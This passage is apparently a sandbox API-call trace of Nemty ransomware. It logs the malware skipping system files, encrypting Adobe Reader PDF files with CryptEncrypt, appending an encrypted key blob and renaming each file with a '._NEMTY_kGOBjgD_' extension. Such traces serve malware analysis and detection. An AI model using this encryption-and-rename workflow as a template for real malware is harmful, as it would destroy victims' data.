ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0190.064] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0190.065] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0190.065] Sleep (dwMilliseconds=0x5) [0190.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24efb5b0, dwHighDateTime=0x1d561e8)) [0190.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24efb5b0, dwHighDateTime=0x1d561e8)) [0190.068] GetLastError () returned 0x0 [0190.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.068] GetLastError () returned 0x0 [0190.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.068] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.069] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.069] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.069] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="q/dta45jCR32pDKv5Bfb9cNCWyV9TrSslDPr0SE0tYMFipQEnQk3syjzxo/s0y/8\r\nEPV7GIU6+lEZfzUr6gQZIKnMQ82v0nFZn2xqKT0qSfnoey5baetuTnBE1P4UYbAC\r\nmkpWAcy27VftCXoHbMnKEjSzI0VVpasUqbuK0zvGPJd8suaL6YHfAKaeXzOETokR\r\n47ENXQ5uhL7BP4ud3rfiaH3cKa2HAKz8i/5JCzETbZXanu+xkkOwF6ythgA5kZTO\r\noL5rMQ0hqGg0jA3Yy2Eb27XvSdTXovj/gfqEqOl4N3RMi7VA7Xh7MRwZ2dkMRzLB\r\namYAZ16bkG8S2zzUxnmdMw==\r\n", pcchString=0x653df5c) returned 1 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.069] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0190.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0190.069] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.070] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0190.073] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.073] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0190.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.073] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0190.073] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.074] CloseHandle (hObject=0x320) returned 1 [0190.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0190.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0190.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.074] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf._nemty_kgobjgd_")) returned 1 [0190.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.075] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0190.075] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0190.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0190.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0190.076] Sleep (dwMilliseconds=0x5) [0190.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f21710, dwHighDateTime=0x1d561e8)) [0190.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f21710, dwHighDateTime=0x1d561e8)) [0190.084] GetLastError () returned 0x0 [0190.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.084] GetLastError () returned 0x0 [0190.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.084] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0190.084] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="O4Y0zxxHoyUyP3fdfTdacQ4DJC4Nq+dS8yn7wIidjx85tyiCc5ojQPcm+Maf/qc5\r\nM2/7DaKdaXCa5iLZkVOsHpXc9pSgqeHgjILJfDEm48U4bkMEEvRMk9cTal50Hel0\r\nULB9hoGfARCycW+uav8VZUKi9wCepMgp97642iX6BZYyXOusxyO/MNU9DRBeZrta\r\nDdCgwh46SUzX6kniZyZHMTGY451EkZDIsASFrr12aUeh5MxBMC1+Eaqks7lyPB7e\r\n1h6S1rHMai8svRAwhx2u6pnLljyhLUdytBvXs1T6eFfUiYxWtjmstwwf4ipeqM+a\r\nXT6dlnJDVBlOeDUYB6Wclw==\r\n", pcchString=0x653df5c) returned 1 [0190.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0190.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.085] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0190.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0190.085] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.085] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0190.090] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.090] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0190.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.090] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0190.090] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.090] CloseHandle (hObject=0x320) returned 1 [0190.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0190.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.091] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0190.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 